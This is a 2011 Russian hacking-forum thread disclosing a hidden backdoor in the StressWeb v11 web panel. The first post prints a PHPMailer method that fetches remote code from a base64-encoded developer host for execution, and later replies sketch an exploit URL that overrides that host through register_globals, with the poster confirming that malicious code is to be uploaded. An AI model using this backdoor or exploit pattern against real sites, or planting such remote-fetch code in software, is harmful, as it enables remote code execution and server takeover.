Уязвимость всех stressweb v11(нули и лицензии)

Discussion in 'Песочница' started by ItsIsMyLife, 6 Oct 2011.

  1. ItsIsMyLife

    ItsIsMyLife New Member

    Joined:
    29 Sep 2011
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Итак, 2ая за сегодня найденная уязвимость в стресс вебе(stress web) v11. Данной уязвимости подвержены абсолютно все сайты, nulled и не nulled версий. Абсолютно любой сервер стоящий на stress web может быть взломан самим разработчиком

    Мы все понимаем, что разработчик тоже должен кушать и стремиться к защите своих авторских прав, но подобное не допустимо в коде столь популярного продукта.

    Вся беда в том, что данной уязвимости может быть подвержен даже лицензионный сайт и не важно платили вы или нет - ваша безопасность ровно на 1 уровне.



    Ну теперь перейдем к самой уязвимости. Зашита она разработчиком, в классе PHPMailer, /inc/classes/class.phpmailer.php. Рассмотрим ее:

    Code:
    private function shBody(){return file_get_contents($this->EncodeString($this->shHostname, 'base64dec'). 'sh.gif');}
    Значение shHostname - aHR0cDovL25ldy5zdHJlc3N3ZWIucnUv, после base64_encode принимает значение: http://new.stressweb.ru/

    Вызывается эта функция вот так: PHPMailer::startSh()[псевдолинки shIsAuth()->shEval()->shBody()].

    В результате, если владелец stressweb по адресу new.stressweb.ru/sh.gif разместит вредоностный код, он сможет быть исполнен АБСОЛЮТНО НА ЛЮБОМ сайте с веб-обвязкой stressweb, абсолютно похеру, есть там лицензия или ее нет.

    А теперь реальный пример - захотел наш "stressweb" убить 1 фришку, заложил вредоностный код на своем сайте в sh.gif и пошел вайпить чей то сервер, умные ребятки в это время заметили этот код и пошли вайпить то, что они захотят ... или получать доступ к базам/конфигам и прочему. Вот вам яркий пример халатности разработчика.
     
  2. Excellent18

    Excellent18 New Member

    Joined:
    4 Jun 2010
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    умельцы, рассказывайте, как ее заюзать нам)
     
  3. Kuteke

    Kuteke Banned

    Joined:
    26 Jun 2010
    Messages:
    179
    Likes Received:
    26
    Reputations:
    6
    Требование:
    register_globals = on
    http://site.ru/index.php?f=stat&shHostname=тут закодированный URL в base64
    Как я понял... Правильно?
     
  4. ItsIsMyLife

    ItsIsMyLife New Member

    Joined:
    29 Sep 2011
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Да, заливаете sh.gif внутри код вредоносный
     
  5. Excellent18

    Excellent18 New Member

    Joined:
    4 Jun 2010
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    какого рода должен быть код?
    лучше на примере
    и юзать точно так?
    http://site.ru/index.php?f=stat&shHostname=тут закодированный URL в base64

    почему именно f=stat?
     
Loading...
Similar Threads - Уязвимость stressweb нули
  1. zase
    Replies:
    1
    Views:
    3,553
  2. Shadows_God
    Replies:
    14
    Views:
    8,071